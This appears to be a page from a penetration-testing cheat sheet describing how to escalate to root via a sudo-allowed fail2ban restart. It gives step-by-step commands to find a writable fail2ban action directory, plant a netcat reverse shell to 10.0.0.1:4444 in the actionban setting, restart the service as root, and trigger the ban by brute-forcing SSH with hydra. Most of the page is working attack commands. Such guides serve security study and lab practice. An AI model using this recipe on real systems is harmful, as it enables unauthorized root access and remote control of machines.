Linux Privilege Escalation
  • Ansible Playbook Privilege Escalation
  • Apache Conf Privilege Escalation
  • Bash eq Privilege Escalation
  • Buffer Overflow Privilege Escalation
  • Chrome Remote Debugger Pentesting
  • Doas Privilege Escalation
  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
  • LXC/LXD (Linux Container/Daemon) Privilege Escalation
  • Linux Privilege Escalation
  • Mozilla Pentesting
  • OpenSSL Privilege Escalation
  • Pip Download Code Execution
  • PolKit Privilege Escalation
  • Python Eval Code Execution
  • Python Jails Escape
  • Python Privilege Escalation
  • Python Yaml Privilege Escalation
  • Ruby Privilege Escalation
  • Rust Privilege Escalation
  • SSSD Privilege Escalation
  • Shared Library Hijacking
  • Snapd Privilege Escalation
  • Sudo ClamAV Privilege Escalation
  • Sudo Dstat Privilege Escalation
  • Sudo Exiftool Privilege Escalation
  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
Powered by GitBook
On this page
  • Investigation
  • Exploitation

Sudo Fail2ban Privilege Escalation

Sudo fail2ban command might be vulnerable to privilege escalation (PrivEsc).

Fail2ban is an intrusion prevention software framework. It prevents against brute force attacks.

Investigation

sudo -l

(root) NOPASSWD: /etc/init.d/fail2ban restart
Copied!

If we can execute "fail2ban" as root, we can gain access to privileges by modifying the configuration file. We need to check if the config file is writable.

find /etc -writable -ls 2>/dev/null

4 drwxrwx--- 2 root security  4096 Oct 16 08:57 /etc/fail2ban/action.d
Copied!

Look inside of "/etc/fail2ban/jail.conf" to know more about how fail2ban is configured.

less /etc/fail2ban/jail.conf

# ---------------------------------------------

# output

...
# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5
...
Copied!

Exploitation

1. Modify the Configuration File

For privilege escalation, we need to update the "iptables-multiport.conf". Specifically, insert a payload to one of the following values.

  • actionstart

  • actionstop

  • actioncheck

  • actionban

  • actionunban

Here update the value of actionban which triggers ban on multiple login attempts. Copy iptables-multiport.conf to the current user's home directory.

ls -al /etc/fail2ban/action.d/iptables-multiport.conf
# copy this file into the home directory for editing the content
cp /etc/fail2ban/action.d/iptables-multiport.conf ~
Copied!

Now modify the file.

vim ~/iptables-multiport.conf
Copied!

We insert a reverse shell payload into the actionban.

actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
Copied!

Then move back the config file to the original one.

mv ~/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
Copied!

To apply the new configuration, restart it as root.

sudo /etc/init.d/fail2ban restart
Copied!

2. Trigger the Action

Start a listener in local machine.

nc -lvnp 4444
Copied!

Try to login with the wrong passwords multiple times until we will get banned. So that to, hydra is useful.

hydra -l root -P passwords.txt <target-ip> ssh
Copied!

After a short time, you will get a root shell via listener.

PreviousSudo Exiftool Privilege EscalationNextSudo Git Privilege Escalation

Last updated 1 year ago

Page cover image